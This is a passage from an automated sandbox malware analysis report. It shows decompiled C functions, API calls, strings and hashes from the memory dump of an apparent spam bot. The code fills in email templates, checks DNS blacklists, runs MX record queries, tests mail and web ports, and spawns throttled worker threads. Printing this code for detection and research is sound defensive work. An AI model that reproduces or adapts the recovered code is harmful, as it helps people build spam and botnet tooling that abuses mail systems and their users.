				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%s@%s, xrefs: 0040B461
%TO_DOMAIN, xrefs: 0040B44B
%TO_EMAIL, xrefs: 0040B473
%TO_USER, xrefs: 0040B488
%P5DATE, xrefs: 0040B4F2
%FROM_DOMAIN, xrefs: 0040B41E
%FROM_USER, xrefs: 0040B431
%M5DATE, xrefs: 0040B50F
%TO_HASH, xrefs: 0040B4B0
%FROM_EMAIL, xrefs: 0040B3E9
%DATE, xrefs: 0040B4D2

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043C114, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043C118
_strlen.LIBCMT ref: 0043C148
_write_multi_char.LIBCMTD ref: 0043C92B
_write_string.LIBCMTD ref: 0043C946
_write_multi_char.LIBCMTD ref: 0043C972
__mbtowc_l.LIBCMTD ref: 0043C9E1

Strings

hD@, xrefs: 0043C13B

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: hD@
API String ID: 909868375-1531742235
Opcode ID: 0c3d02886951d57912eb1ea9ecae02504730bd40eb312cd26354c93f643d6381
Instruction ID: c30250eb727d3bdf0376022258b041cd309f481f2c4404b2f34574d22e1deba2
Opcode Fuzzy Hash: 0c3d02886951d57912eb1ea9ecae02504730bd40eb312cd26354c93f643d6381
Instruction Fuzzy Hash: 02A17EB1D002289BDF24DF54CC81BAEB7B5FB48305F14919AE60977282D7389E84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 006C1FE6, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 006C2016
GetSystemInfo.KERNEL32(?), ref: 006C2038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 006C2053
GetProcAddress.KERNEL32(00000000), ref: 006C205A
GetCurrentProcess.KERNEL32(?), ref: 006C206B
GetTickCount.KERNEL32 ref: 006C2219

Part of subcall function 006C1E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 006C1E65

Strings

flags_upd, xrefs: 006C208E, 006C2093, 006C20CC
localcfg, xrefs: 006C207A, 006C2081, 006C2094, 006C20CD, 006C20DC, 006C2102, 006C2121, 006C2137, 006C214F, 006C216C, 006C2184, 006C21A0, 006C21C0
hi_id, xrefs: 006C2166, 006C216B, 006C2183
work_srv, xrefs: 006C20AE

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-1391650218
Opcode ID: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction ID: 1123984c40dcfa98bff3f779ef490e4f4fd51f18485455ac2b8e73593ef22265
Opcode Fuzzy Hash: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction Fuzzy Hash: B751D6B05043486FE370AF658C86F77BAFDFB45704F04092EFA5582242D7B9AA44C769

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,7554F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,7554F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

rbl_bl, xrefs: 00402181
localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
rbl_ip, xrefs: 0040218F
net_type, xrefs: 004021DF

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0043C2EA, Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043C2EE
__get_printf_count_output.LIBCMTD ref: 0043C2FC
__invalid_parameter.LIBCMTD ref: 0043C383
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C398
_write_multi_char.LIBCMTD ref: 0043C92B
_write_string.LIBCMTD ref: 0043C946
_write_multi_char.LIBCMTD ref: 0043C972
__mbtowc_l.LIBCMTD ref: 0043C9E1

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: 5024189d92185a9e66e473d9bcce14ccf648beab0a12ada65e11b31e86d87394
Instruction ID: 45fbcbfedb207943f55f2d6eab8472e445daa4439fc3804481bd7626070a7f85
Opcode Fuzzy Hash: 5024189d92185a9e66e473d9bcce14ccf648beab0a12ada65e11b31e86d87394
Instruction Fuzzy Hash: FFA17CF59002289BDB24DB55CC81BAEB774EF48305F14909AE6097B282D7789E84CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 006CF565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(006CCC6D), ref: 006CF59D
socket.WS2_32(00000002,00000001,00000000), ref: 006CF5B7
closesocket.WS2_32(00000000), ref: 006CF5C5

Strings

p*t, xrefs: 006CF5C5, 006CF5F0
^+t, xrefs: 006CF619
time_cfg, xrefs: 006CF573

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p*t$time_cfg$^+t
API String ID: 311057483-625476229
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: 97279a63e206b9b189df0aa7954354ba1a54bda96c4a6090639fa279d0add4f7
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: 8A316072900118ABDB10DFA5DC89EFE7BBEEF49314F10416AFA15D3150D7709A818BA8

Uniqueness

Uniqueness Score: -1.00%

Function 006C3042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 006C3051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 006C3061
GetProcAddress.KERNEL32(00000000,00410408), ref: 006C307E
RtlAllocateHeap.NTDLL(00000000), ref: 006C309F
htons.WS2_32(00000035), ref: 006C30D8
inet_addr.WS2_32(?), ref: 006C30E3
gethostbyname.WS2_32(?), ref: 006C30F6
HeapFree.KERNEL32(00000000), ref: 006C3136

Strings

iphlpapi.dll, xrefs: 006C304B, 006C3050, 006C3060

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 391733fdc17e2c025a2980a52fcf67d853e7120a40cf5130805cf3bb280632f9
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 8131C731A00215AFDB109B74DC48FFE7BB9EF05761F188129E914E3390D774DA818758

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,7519EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
